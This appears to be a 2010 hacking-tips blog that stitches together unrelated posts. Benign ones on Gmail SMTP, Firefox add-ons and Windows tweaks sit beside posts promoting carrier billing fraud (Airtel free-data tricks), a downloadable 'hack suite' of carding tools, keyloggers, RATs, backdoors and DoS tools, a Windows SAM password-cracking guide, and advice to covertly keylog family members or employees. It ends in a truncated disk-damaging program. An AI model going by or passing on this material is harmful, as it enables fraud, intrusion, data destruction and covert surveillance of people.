Saturday, February 13, 2010

Use Gmail as your SMTP serverThis is a featured page

One of the little-known freebies Gmail offers is a portable SMTP server to send mail from any network for any email address. Travellers who use their ISP's SMTP server to send mail with their email program (like Thunderbird or Outlook Express) can find themselves in a bind if they're on another network away from home, like at a coffee shop, airport or visiting relatives. But if you've got a free Gmail account (get one here) you can use Google's SMTP server to send mail through Thunderbird from you@example.com Update: Google rewrites the from address to your Gmail address.. Here's how to set it up:
  1. In your email client software, under Outgoing mail, set the SMTP server to smtp.gmail.com.
  2. Set the your username is yourgooglemailname@gmail.com and make sure "Use username and password" is checked.
  3. Also check off "TLS" under "Use secure connection."
And voila! You can send mail for any email address from any network (that lets you connect to an outside SMTP server) using your Gmail account - be sure to enter your Gmail password when prompted. Check out Gmail's help section on POP access for Gmail for specific instructions for setting this up with your email program. If you only want to use the SMTP server, skip the POP bits and only set up SMTP to work with your existing email account. Update 1: I was remiss not to point out that Gmail will set the from address for messages sent through smtp.google.com to yourgoogleemailname@gmail.com when using this method. Profuse apologies.

A reader says: "Some clarification: I set up Gmail for a client for SMTP access, and we discovered the following huge drawback: Gmail automatically rewrites the "from" line of any e-mail you send via their SMTP gateway to your Gmail address, and it overrides any Reply-To settings you may have in your e-mail software in favor of the one in Gmail's web interface. So while Gmail's SMTP access sure is handy, it's not a perfect solution for everybody.

On the plus side, Gmail also stores and indexes anything you send via SMTP as if you had sent it using the website, so all your e-mail is still searchable and in one place. Also, since Gmail SMTP does not use port 25, I've yet to see an ISP that won't allow me to send mail through it." Thanks, David! Update 2: The Gmail spooler is no longer available, but a reader says Gmail invites can be had at bytetest.com. Thanks, Darin! Update 3: Reader Derek Bennett says, "The solution is to go into your gmail Settings:Accounts and "Make default" an account other than your gmail account. This will cause gmail to re-write the From field with whatever the default account's email address is." Configure POP access [Gmail: Help Center]

Free working Airtel GPRS Tricks

Yes its true...
But it is working in UP(Now in some other circle also) west circle only, because of any fault in there system, there is a way for everyone else in India, as the sim works fully while in roaming, so get a sim from UP west, activate mobile office and start using it in evry corner of india...
TRICK
Its very easy to cheat airtel. Just activate the mobile office by dialing *266*1# and then let it on till you want to use it. Airtel will deduct 20rupees at the time the service activates but after that no deduction will b there. Now connect thru mobile office. For use on pc connect thru pc suite or any other way you like. Use APN name as airtelgprs.com
Only remember one thing the balance in sim should be between 40 to 45rupees at the time of activation. It should have validity till the day you want free service. Dont recharge for more money else it'll be deducted.


Airtel gprs 4 free


New Airtel Live free trick (All India)
Just go to http://www.google.co.in/gwt/n through Airtel Live. Then type the address there. You can open any site from there for free ! Surfing through Airtel Live must be free in your state. 2. How to use free internet using Airtel Mobiles Requirements: ——>A mobile with GPRS Modem ——>A new AIRTEL SIM Proceedure: Send a message by typing ” MO to 2567″ now u will recieve the settings and save them Now Send a message by typing “INTERNET ON to 121″ and now u will recieve a message of conformation. Switch off and switch on u r mobile now u r phone is ready for using internet This service charges RS.15/- per 24hrs to stop internet type “INTERNET OFF to 121″ The main Cheat is here “See that u r balance is not more than RS 10 then Airtel will not deduct any amount for the
service” Recharge u r mobile every month with RS 99/- such that u will get RS 0 and a validity of one month U can enjoy internet with a speed of 128kBPS when the mobile is connected to system via Datacable or Blue tooth. I,ve never tried this because i dont have a GPRS mobile but my friends are using this and we have a good result post scrap cancel
3.
hello every airtel prepaid user . now u can send free std and local sms for free. just follow these steps. Type: IM R yourname
Send to 8888
example IM R sumit
send to 8888.ok
than u will receive sms .u be will charged 3 Rs.
for one time only for registration. now i u want to send sms to ur friend for free.
suppose ur friend number is 9896098960 than go to create message type 8888919896098960.u will not be charge ,enjoy
i have tested on delhi and haryana network.
For std number dont apply zero before number.
Dont forget to hit the reputation button.
(this trick may not work in maharashtra)
4.
A new trick with dis u can use free internet from Airtel
just wat u have to do is that
call *266*1#
And it will activate free gprs and deduct rs.20. but dis is only for once
after that u can use free internet for free whole lifetime, but dont recharge ur mobile, because it may deduct ur
balance afterwards,
U can also connect with pc and laptops.
…

Firefox: 55 Add-Ons To Increase Your Security And Privacy

crack0hack
One of the greatest strengths of the Firefox web browser is its extensibility. This does not only include new features but also security enhancements that make the web browser more secure and less prone for attacks and privacy breaches. The following list will contain Firefox add-ons that protect the user from various threats on the Internet. They have been divided into the categories Browsing, Cache, Cookies, Identity & Privacy, Passwords and Misc. Each link will lead to the Mozilla homepage that contains additional information and download possibilities. All but one add-on should be compatible with the latest version of Firefox 3. Some of them are experimental add-ons that require an account at the Mozilla website before they can be downloaded and installed. Browsing: Blocksite – A customizable blacklist that blocks access to specific sites. It will also disable all hyperlinks pointing to those websites. Bookmark Permissions – Stores five permissions (like enabled Javascript or Plugins) for every bookmark. Customize Google – Customizes Google by adding and removing information automatically. FlashBlock – Blocks all Macromedia Flash content from being loaded. FoxFilter – Filters websites based on keywords. Ideal for parents who want to have more control over what websites are viewed by their children. Ghostery – Displays information about tracking scripts on websites. IDND – Informs the user if the domain name is an International domain name. NoScript – Disables scripts automatically on the Internet with the option to enable them individually. PhishTank – Adds extra phishing protection to Firefox. Public Fox – Lock down add-ons, browser settings and downloads. Redirect Remover – Removes redirects from links and images. Secure Login – A one click login button that is similar to Opera’s Wand functionality. firefox login Show IP – Displays the IP of the current website in the browser. Cache: Cache Status – Cache Management from the Firefox status bar. Passive Cache – Access the contents of a site without visiting it directly. Safe Cache (FF2) – Segments the Firefox cache based on the source of the documents which defends against techniques to determine if a user visited another domain. Cookies: Add n Edit Cookies – Makes it possible to edit cookies. Better Privacy – Adds Flash Cookie handling to Firefox. Cookie Monster – Provides cookie management capabilities to allow and disallow cookies to be set on specific websites. Cookie Swap – Use multiple cookies on one website. CS Lite – Manage cookie permissions. Identity and Privacy: Adblock Plus – blocks advertisement on the Internet. FoxyProxy – An advanced proxy management tool for the Firefox browser. Goolash – The extension makes sure that a user is always logged out of Google accounts during Google search. History Block – Can block sites from appearing in the browser’s history. MailCatch – A Firefox add-on to make use of a disposable email service that can be used to create emails to use on the Internet. No Referer – Can block the referrer when accessing specific sites. Private Browsing – Hides surfing trails. Quick Proxy – Switch proxies on and off with one click. Random User Agent – Replaces the default Firefox user agent with a random one. RefSpoof – Allows to change the referrer on the fly. Spam Advert – Another temporary email service that can be used in Firefox. Stealther – Privacy browsing for Firefox versions that do not provide that feature. Temporary Inbox – Another temporary email service that can be used to create disposable emails on the fly. Torbutton – Adds a button to Firefox to enable or disable the anonymity software Tor. Track me not – Protects the user against search data profiling. trackmenot Trashmail – Another one click temporary email creation service. Passwords: Last Pass – A secure password manager and form filler. lastpass Mass Password Reset – Makes it easier to reset multiple passwords at once. Secure Password – Secure password generation with the click of a button. Show Passwords – Displays the passwords in web forms without asterisks. Misc Extensions: Controle de Scripts – Advanced settings for Javascript behavior in Firefox. Febe – Firefox Environment Backup Extension can backup various Firefox modules such as extensions, options or themes. Javascript Deobfuscator – Will inform the user about Javascript that gets loaded and executed on a website. Javascript Options – A lite version of NoScript. JS View – View the source code of Javascript files. Long URL Please – Replaces short urls with their real destinations. Quick Java – Quickly turn on or off Java with the click of a button. Malware Search – Has been designed for HiJack This users who need to search for entries on the Internet. Panic Button – Will perform an action like hiding all windows when pressed. Remember Mismatched Domains – Adds a “Don’t warn me again about this certificate for this domain” checkbox to the Domain Mismatch and Expired Certificate warning windows. US Homeland Security Level – Displays the current US Homeland Security Threat Level in the web browser. View Dependencies – Will display a list of all objects that have been loaded on the current website. Yes Script – Can block specific scripts on a website. Basically the opposite of how NoScript handles it.

Hacking Suite

Enjoy it!

# H4ckingworld HaCK Suite v1.0 ##

Use These Tools Carefully




!!! $$$ !!!

Cmaster
CC Verify
CWizard
THCC
Visa Card Generator 06
Carcabot_Mass_Email
CcHack
CC-Fake
cvv2c
DesertCVV2
id-fake
Paypal-Link-Spoofed-Scam
HoW To Get Credit Cards Fresh And Fastest


AIO

uploader for all
Cool Small Usefull Dp


ANONIMITY

Jap


BINDER&PACKER

ees binder v1.0
NT Packer v2.1
NakedBind v1.0
Aspack 2.1
F.B.I. Binder
AFX Executable Binder PRO
Deception v4.0
coolbind22
Binder v2.1
Deamon Crypt v 2.0
AmkoJoiner
MultiBinder v1.4.1
MicroJoiner v1.7
Pretator v1.6
YAB Binder v 2.0


BRUTER

WebCrackv4.0
BrutuS
Crack FTP
FTP Brute Hacker
phpbb bruteforcer
PhpBB pass extractor
phpBB Cracker
Email Cracker
FTP Brute Forcer


EXPLOIT COLLECTION

10377 Exploit
SMF ShoutBox Xss & Html Inj
SMF Ultimate Shoutbox Cookie Disclosure Exploit
Firefox_BuG


FLOOD_DOS

Flowbabeflow
FreeSiteKillerV2.01
webxgrab
Web Attacker ENG
TheRapist - DoS Attacker
HybridFlood2
Anti-russ 3.0
Http Bomber v1.001b
Sprut
DoS_5
etherflood
DoSAttacker
phpBB Dos
phpBB Attacker
Ping Attack
Site Nuke
Divine Intervention
UC Forum Spammer
Inferno Nuker
Multiple Site FlooD


GOOGLE HACKING

Alt-GooGle
Google Version 1.2
Google H4ck3r
GooLink


KEYLOGGERS

Elgolf 1.0 Beta
ESK KeyLogger
Glog Keylogger
HermanAgent
IKlogger0.1


MESSENGER

MSN Extreme 3.0
winks,moods,muggins,weemees and meegos + Installer
MSN Messenger Account Cracker v2.0
Hotmail Email Hacker
Hotmail HAcker Gold
HotmailHack
yahooUltraCracker
MSN Spy Lite v1.0
Yahoo Hack !
SH Yahoo Pass Sender 1.1
Yahoo Password Decoder


OTHER BACKDOOR

all in one shell backdoor
assh0le backdoor
blowdoor30c
intestinal worm backdoor
NST Back Connect Backdoor
All RooT
backd00r
genie v151
m0trix
Private Backdoor


PASSWORD CRACKERS

rainbowcrack-1.2-win
md5_cracker
Jhon 1.7 Win
mdcrack-1.2
hydra-4.6


PHP SHELL'S

c99shell
r57shell
BackDooR (fr)
Defacing Tool Pro v2.5
nstviewshell
PHP Backdoor v1
PHP_BackDoor_v1.5
PHP_Shell_v1.7
Simple_PHP_BackDooR


RAPID SHARE & CO HACKING

Link Grabber 3.0.4
Rapidshare Hack
RapidGet
RapidSearch.Beta.0.1
Rapid*****erv4.4.87
MaC Rapid
Premium Account Checker
RapidMule
RapidShare Anti*****
RapidShare Checker
RapidShare Decoder
Renew IP
RapidUp
The Grabber 1.4.1
Unlimited RapidShare With I.E.


SCANNER

SuperScan 4
Stealth - HTTP Scanner v1.0 build 23
CGI Vulnerability Scan
CGI Scanner v4.0
Legion NetBios Scanner
CGI Founder v1.043
Scanarator
SuperScan 3.0
Blues Port Scanner
NetBIOS Name Scanner
MooreR Port Scanner
Trojan Scanner 1.0 Modded By RooT
nmap 4.03


SECURITY

Kism 0.2


SQL Injection

sqlbftools
sqldict
forcesql
sqlinjector
sqlping
SQL INJECT Commander
SQLPowerInjector


TROJAN & RAT

SKD Rat 2.0
Combined Forced Rat Beta
Gadu-Ghost Trojan v.2.3
ProRat SE 1.8
Cyn v2.1
MofoTro 1.1
Furax 1.0b
Omerta 1.3
Remote Dark Trojan
X Rat v3.3
TGA Backdoor v2.0


TUTORIAL & TEXT

Defacing
Hacking_GMail
Hackers Black BooKs


Wireless Network Cracking ToolS

AirCrack
Kismet

DOWNLOAD:

http://rapidshare.de/files/25758743/H4ckingWorlD_HacK_SuiTe_V1.0.part1.rar.html
http://rapidshare.de/files/25764489/H4ckingWorlD_HacK_SuiTe_V1.0.part2.rar.html

Write Your Own Name in Place of Start Menu

Step 1 - Modify Explorer.exe File In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems. get this from http://delphi.icm.edu.pl/ftp/tools/ResHack.zip The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe. The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button. There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me! You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows. Step 2 – Modify the Registry !!!make a backup of your registry before making changes!!! Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK. Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]

Hacking C++ From C

For a long time, LiveDictionary used deeply unwholesome methods to do its work. Version 1.2.5, just released, now uses nothing but public methods. This means vastly improved stability, but it also means that LiveDictionary's evil WebKit text grabber, once considered the app's crown jewels, is no longer useful. I'm going to use it as an object lesson on how to do evil things with C++ applications from pure C.

Motivation
This code was initially developed over the course of about one week, and then took approximately two months of debugging before it became stable. Since then Apple has broken it several times with Safari updates, with the changes required being anything from a simple change of offsets to a large re-engineering of the function.
The prototype of the function is thus: void LiveDict_1_3_WebViewGetTextAtPoint(id webHTMLView, NSPoint point, NSString **text, int *offset) Given an instance of a WebHTMLView (the thing inside a WebView that does all the work) and a point, the function is to return the text at that point, and the offset into that text which represents where that point is located inside it. This is then used to look up the appropriate word in LiveDictionary. (The 1_3 thing is a version numbering scheme so it doesn't conflict with nearly identical functions made for other versions of Safari.)
You would think that this would be easy, but at the time I originally wrote this function, there was no public way to obtain this information. Obviously there is some way to do it, since WebKit itself does it, for example when you drag to select some text. So I dove into WebCore to see how it was done.
]
After much digging, I found the KHTMLPart class which has a method called isPointInsideSelection that does basically the same thing. I ripped out the bits I didn't need and came up with the following C++ code:

id bridge = [webHTMLView _bridge];
KWQKHTMLPart *part = [bridge part];
DocumentImpl *impl = part->xmlDocImpl();
khtml::RenderObject *r = impl->renderer();
khtml::RenderObject::NodeInfo nodeInfo(true, true);
r->layer()->hitTest(nodeInfo, (int)location.x, (int)location.y);
NodeImpl *nodeImpl = nodeInfo.innerNonSharedNode();
if(!nodeImpl || !nodeImpl->renderer() || !nodeImpl->renderer()->isText())
return;
Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos);


Not too bad, right? Most of the code is just drilling down to the object I need to interrogate, and then asking it. (There's a little bit at the end to get the actual text of the node that I left off.)
But... I can't just write that code. All of these classes are private and buried in WebCore so I can't link against them. I can't just copy the headers because that still requires linking against them. So I decided to replicate the entire thing in C.
The only thing is, it's a bit complicated to do from C. The entire file, which contains nothing but the above function, its support functions, and comments, is 340 lines long. Over 10kB of source code just to replicate that straightforward C++. I'm going to show you exactly how it's done.

Virtual Reality
As you probably know, C++ has two types of methods (C++-ites like to call them "member functions", but that's not the sort of foolishness you'll see me spouting), virtual methods and the regular kind. Virtual methods are like the methods in other OO languages, in that the implementation is looked up at runtime. The regular kind is this weird abomination where the implementation is looked up entirely at compile time based on the declared type of the object. Since these two types of methods act so differently, we have to invoke them differently when we're hacking from C.


Static Hiss
Regular C++ methods are pretty easy to call from C, as long as you can get a pointer to them. They're actually just regular C functions with funny names and a single implicit parameter (this). So, for example, the xmlDocImpl method is non-virtual. Declared as a function pointer, it looks like: void * (*KHTMLPart_xmlDocImplP)(void *); You'll see a lot of void * in this article. This is because I completely don't care about types; if I'm slinging pointers around, I'll just use void * for convenience. So here we see that it returns a pointer, and takes a single parameter, the implicit this pointer. If I've assigned the function pointer to the right value, then I can perform the equivalent call from C as:

void *xmlDocImpl = KHTMLPart_xmlDocImplP(part);

The only remaining piece is to get the right pointer. Here, I use the APEFindSymbol function from Unsanity's APELite. (Note that this function requires having the mach_header of WebCore; getting this is left as an exercise for the reader.) All you have to know is the symbol name, which is easy to find by just dumping the symbols in WebCore using nm and looking for one that seems to fit. The code is:

KHTMLPart_xmlDocImplP = APEFindSymbol(header, "__ZNK9KHTMLPart10xmlDocImplEv");

And that's all there is to it. The C++ code contains two other references to non-virtual methods, the renderer method, and the hitTest method. They are used similarly.

Static Interference
Unlike certain other dynamic languages, C++ allows for stack-allocated objects. The NodeInfo instance is an example of this. Creating a stack object translates to C fairly directly. First you need to allocate space, which is done by creating a struct with the right memory layout. Then you need to construct the object by calling its constructor. However, in this case, I noticed that the constructor does nothing but set everything to zero. I don't know exactly what is in a NodeInfo but I know that it's five pointers. So my NodeInfo declaration in C looks like this:


struct NodeInfoStruct {
void *dummy1, *dummy2, *dummy3, *dummy4, *dummy5;
} nodeInfo = {0};


Of course if WebCore's NodeInfo definition ever changes significantly I'll be in a world of hurt. Oddly enough this never happened, though....

Inline Fun
C++ also likes inline methods that are declared in the header. I, however, hate them because they don't actually get a symbol in the built library. This means that their implementation is something I can't invoke. However, I can see what they do and copy them. The renderer method is one of these. All it does is return an instance variable of the object. So I just figured out the offset of that instance variable and ripped it out. It turns out that it's 22 pointer-sizes into the object, so my replacement function is just:


static void *Function_DocumentImpl_renderer(void *obj)
{
void **objLayoutPtr = obj;
return objLayoutPtr[22];
}


Ugly but effective. Again, if the internal layout of the object ever changes then I'm screwed, but this never happened.


Virtually Impossible
Unfortunately calling virtual methods is ever so slightly harder. I'll cover the theory first, then get into how to call them.
A C++ object that contains virtual methods has as its first four bytes a pointer to its class's vtable. A vtable is a big array of function pointers which exists on a per-class basis. Each virtual method is assigned an index in this table. A virtual method is invoked by indexing into the vtable, getting the function pointer, and then calling it.
Once you have a pointer to it, a virtual method works just like a non-virtual method, in that it looks like a C function with an extra parameter stuck on the front. So a function that does all this work to invoke the correct implementation looks like this:


static void *RenderObject_layer(void *obj)
{
const int layerVtableOffset = 7;
typedef void *(*LayerFptr)(void *);
LayerFptr **fakeObj = obj;
LayerFptr fptr = fakeObj[0][layerVtableOffset];
return fptr(obj);
}


There is a constant for the vtable offset, and a typedef for the function pointer that will be invoked. Next I treat the object as if it were just a vtable, since I don't care about the other parts of it. Then I just index into the object to get the vtable, index into the vtable to get the function pointer, and finally invoke it.


Debugger? What's That?
Now if you've been paying close attention, right about now you're thinking, "Where did he get that 7 from?" And a very good question that is!
The answer is basically trial and error. From looking at the headers you can count the virtual methods and make a guess, but this is unreliable. Virtual methods get laid out in the order that the compiler encounters them, so you can just count them off starting from the very first method in the highest superclass, working your way down, and find the offset.
The trouble with that approach is two-fold. First, people suck at counting, especially when you're counting stuff in mountains of evil C++. Second, if you get it wrong, you'll crash in horrible and weird ways. You'll be invoking a completely different function which probably takes completely different arguments and returns a completely different values. Debugging that error will not be fun; this is already difficult enough as it is, without adding another layer of undebuggability. So ideally we'd want to come up with a guess, and then check it. We can use our friend the debugger to tell us what the offset is.
I set a breakpoint in a location where I had a pointer to the object I wanted to investigate. In this case it's obj, which is a RenderObject (or an instance of a subclass). I'll find the offset of the layer function that I used in the previous example.

(gdb) p obj
$1 = (void *) 0x55127c0
Here we can see the object as a plain old void *. We'll have to do some creative casting to dig into it. (gdb) p *(void **)obj
$2 = (void *) 0xa5ca0e38
There's the vtable. (gdb) p **(void ***)obj
$3 = (void *) 0x95e5deb0
And that's the first entry in the vtable. But it's just another address, not very informative. (gdb) p /a 0x95e5deb0
$5 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
Ah hah! If we tell gdb to format it as an address (the /a thing) then it looks up the symbol. And so now we know that the function at offset 0 is "_ZN5khtml12RenderCanvasD1Ev". That's probably a constructor or something of that nature. (gdb) p /a (*(void ***)obj)[0]
$6 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
Here's a nicer way to look into the vtable. Instead of chasing pointers and manually printing addresses, I'll grab the vtable and then treat it like an array. I don't want to manually print off vtable entries until I find the right one, so I'm going to see if I can get gdb to print a bunch of them for me.


(gdb) set $i = 0
(gdb) p /a (*(void ***)obj)[$i]
$7 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
Better, it will print the entry at the index in $i. Now I just need a loop. (gdb) while $i < 10
>print $i
>p /a (*(void ***)obj)[$i]
>set $i = $i + 1
>end
$29 = 0
$30 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
$31 = 1
$32 = 0x95d5e130 <_zn5khtml12rendercanvasd0ev>
$33 = 2
$34 = 0x95cef53c <_zn5khtml12renderobject9setpixmaperk7qpixmaprk5qrectpns_11cachedimagee>
$35 = 3
$36 = 0x95e31ea8 <_zn5khtml18cachedobjectclient13setstylesheeterkn3dom9domstringes4_>
$37 = 4
$38 = 0x95cef538 <_zn5khtml18cachedobjectclient14notifyfinishedepns_12cachedobjecte>
$39 = 5
$40 = 0x95f1e24c <_znk5khtml15rendercontainer10firstchildev>
$41 = 6
$42 = 0x95f1e254 <_znk5khtml15rendercontainer9lastchildev>
$43 = 7
$44 = 0x95f1dd80 <_znk5khtml9renderbox5layerev>
$45 = 8
$46 = 0x95f1d7a0 <_zn5khtml12renderobject19positionchildlayersev>
$47 = 9
$48 = 0x95c9d7b8 <_zn5khtml12renderobject13requireslayerev>


The number 10 was arbitrary, somewhat informed by my guessing from reading the headers. You can keep going higher if you don't find it. But in this case we hit the jackpot; we see a function called layer at offset 7. And that is the story of the 7 in the vtable example above.

Insects and Other Horrors
This isn't exactly a technique to use, but it's a cautionary tale. One of the C++ lines reads:

Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos); This gets translated into C as: struct DOMPosition position = RenderObject_positionForCoordinatesP(parentRenderer, absXPos /*- renderXPos*/, absYPos /*- renderYPos*/); The original definition of struct DOMPosition was: struct DOMPosition {
void *m_node;
long m_offset;
};


This worked fine for a long time, but this past winter it came time to make a Universal binary of LiveDictionary. I groveled through the source code, checked it over with a fine-toothed comb, made sure all of my endians were swapped, and then sent off a build to somebody with an actual Intel Mac. And of course, it crashed almost instantly. And as I'm sure you've guessed, it crashed on that very line.
I spent a while not finding very much, just verifying that the PPC and Intel versions were doing the same thing. This line was suspicious because it's the only hacked C++ method that returns a struct.
On PPC, struct returns are done by using an implicit parameter and returning by reference. If you write this:

struct Point p = Function(x);
It gets translated internally to something like this:
struct Point p;
Function(&p, x);

With the return being done by having Function write to the struct via this implicit first parameter.
I thought that Intel might be different, and it is just a little bit. It turns out that on Intel, this convention is only used for structs that are longer than 8 bytes. Small structs are returned just like primitives. But still, there was no difference in calling convention between C functions and C++ methods, so things should still work even if this struct was only 8 bytes.
After some more digging I discovered the problem. At some point, DOMPosition had gained a third member. Doh! My struct was 4 bytes too short. It had continued to work on PPC through sheer luck; either the new member wasn't used, or the four bytes following the struct on the stack were something that could be harmlessly overwritten. But on Intel, those extra 4 bytes were enough to push the function over the edge; WebCore was returning the struct using the implicit parameter, but LiveDictionary was expecting a normal return, and so wasn't passing an implicit parameter. The result was a nasty crash.
The latest definition of the struct looks like:

struct DOMPosition {
void *m_node;
long m_offset;
int m_affinity;
};

With that fix, the Intel build worked fine.

Conclusions
Hacking on private C++ classes is harrowing and dangerous but doable. With the proper care, it can form the backbone of a whole application, so long as frequent updates are part of the plan, and the application is suitably paranoid. LiveDictionary would put up a very dire warning and disable itself by default if it detected a version of Safari that was newer than what it knew about. While I recommend this as the absolute last resort, and all other avenues should be explored first, it can be done if it's necessary.

Desktop hacking

21 Tips 4 increasing XP performance.

1] Your Pc Must have 256MB RAM , 512 MB Cache , Intel Pentium 4 Processor, 40 GB HDD. These are the minimum requirements. 2] If you see a 'virtual memory low' message then increase its virtual memory. To increase virtual memory,
Go to My Computer->Properties->Advanced->Performance Settings->Advanced->Virtual Memory->Change->Select the appropriate drive->Custom size->set appropriate level(our it is 600(min.) & 700(max.)->Ok.
3] Increase 'Visual Performance'. Go to My Computer->Properties->Advanced->Performance Settings->Visual Settings->Custom->Select only the following options.
a)Slide taskbar buttons.
b)Smooth edges of screen fonts.
c)Smooth-scroll list boxes.
d)Use a background image for each folder type.
e)Use visual style on windows and buttons.
4] Don't keep unwanted/extra fonts. To remove extra fonts, Go to Start->Settings->Control Panel->Fonts. 5] Your Desktop Wallpaper & Screensaver consume a large amount of disk space. Select the 'None' option for both wallpapers & Screensavers. 6] Avoid keeping DEMO Games. 7] Uninstall the unwanted Softwares. 8] Use Registry Cleaner to keep your registry clean(without errors). 9] Try to keep Music and pictures files in the folder specified by windows itself. 10]Use Hybernating Option for Quick windows start. To active Hybernating follow the following steps.
Desktop->Properties->Screensaver->Power->Hybernating->Enable Hybernating->Ok.
11] Keep your Dektop clean with unwanted icons. 12] Use Intel Application Accelerator to speed up your disk access, 13] Memory management (at least 512MB RAM Required). This allow XP to keep data in Memory instead of paging section of RAM.
Go to->Start->Run->regedit->HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Control->Session Manager->Memory Management->Double click it->DisablePageingExecutive->Double Clik it->Set value to 1.
14] Disable Yahoo Messenger, Google Talk, and other unwanted programs from startup. (You can use registry editior to do this.). Because they do not appear in normal Startup Option. 15] Disable indexing files service (only if you do not use search option regularly). To do this follow the following steps.
Go to My Computer->Select the drive for which you want to disable the indexing service->Properties->Unselect 'Allow Indexing Service'->Ok.
16] For Windows XP, You must use NTFS partition. FAT partition is less supportive for Windows XP. 17] In BIOS, Select first booting device as your HDD. 18] Setting Priority High for a particular program.
Open Task Manager->Processes->Select the desired Program->Right Click->Set Priority->High->Ok.
This Priority set if for current session. Once you restart your system then its priority will again be Normal.
19] Keep deleting your Temporary Internet Files in regular intervals.
Go to Windows Drive (c: or d:)->Select the User->Local Settings->Temporary Internet Files
20] Empty your browser's cache in regular intervals. 21] Avoid keeping Movies in your PC.

Desktop hacking - www.crack$hack.ws Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003

SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.

-What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.

Desktop hacking - www.crack$hack.ws Keylogger.

If you want to know what other users are typing on your machine, this heavy weaponry addition to your Spy Arsenal will allow you to know everything! Simply install Family Key Logger, set the 'Start in hidden mode' and 'Remove from tasks list' options and you are ready to go. The program will reside in memory while being absolutely invisible to everyone except you. You will only have to press the Unhide key combination on the keyboard to see what your kids or your wife or your employees were typing.
And remember:
You have the right to know!

Desktop hacking -  www.crack$hack.ws Multiple Google Talk.

Now it's turn to use multiple google talk. Previously we covered that how to run multiple Yahoo messenger using Yahoo Pal!. Well for google talk, you don't have to download any software. Just follow the following simple steps. 1) Create a Shortcut on ur Desktop. 2) In the field 'type the location of the item' paste the following source... c:\program files\google\google talk\googletalk.exe" /nomutex 3)If this loction doesn't work, then locate manually by clicking on browse option.Then go to c:-> program file ->google-> google talk->googletalk.exe and then paste /nomutex in the end of manually located source. Finished. Now you can run multiple Google Talk.

Desktop hacking -  www.crack$hack.ws Multiple Yahoo Messenger / Yahoo Pal.

Yahoo! Pal is an invisible program, it will automatically attach to running Yahoo! Messenger and new Yahoo! Messengers you run after Yahoo! Pal, and add menu bar to the Yahoo! Messenger windows. You can also quit it by clicking its menu. ∙ Allow multiple accounts on the same computer. ∙ Automatically reply when you are away. . Send a random quote to your friend. ∙ Hotkey to hide Yahoo! Messengers windows. CLICK HERE TO DOWNLOAD.

Desktop hacking - www.crack$hack.ws BIOS Passwords Hacks.

To perform this hack you will need:
  • A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
  • Needle-nosed pliers if you are working with jumpers
  • A small flashlight or headlamp
With tools at hand, perform the following steps:
  1. Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
  2. Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
  3. Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.
  4. Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.
  5. Wait 20-30 seconds for the memory to clear out from lack of power.
  6. After 20-30 seconds put the switch or jumper the way it was before for normal use.
  7. Reconnect the power cord and start up the system to see if the settings have changed to defaults.
  8. Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
  9. Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first.
If your system does not have a "reset CMOS" jumper or switch , the only option is to locate and remove the coin-style battery cell (or on some very old PCs, the battery pack), as shown in , that provides the power to the CMOS memory. SOURCE : http://www.oreilly.com/pub/h/2245

Desktop hacking -  www.crack$hack.ws Create BAD sectors on HDD.

This program will create BAD Sectors on HDD. (Use at your own risk) #include
#include
#include
#include
#include
#include
#include

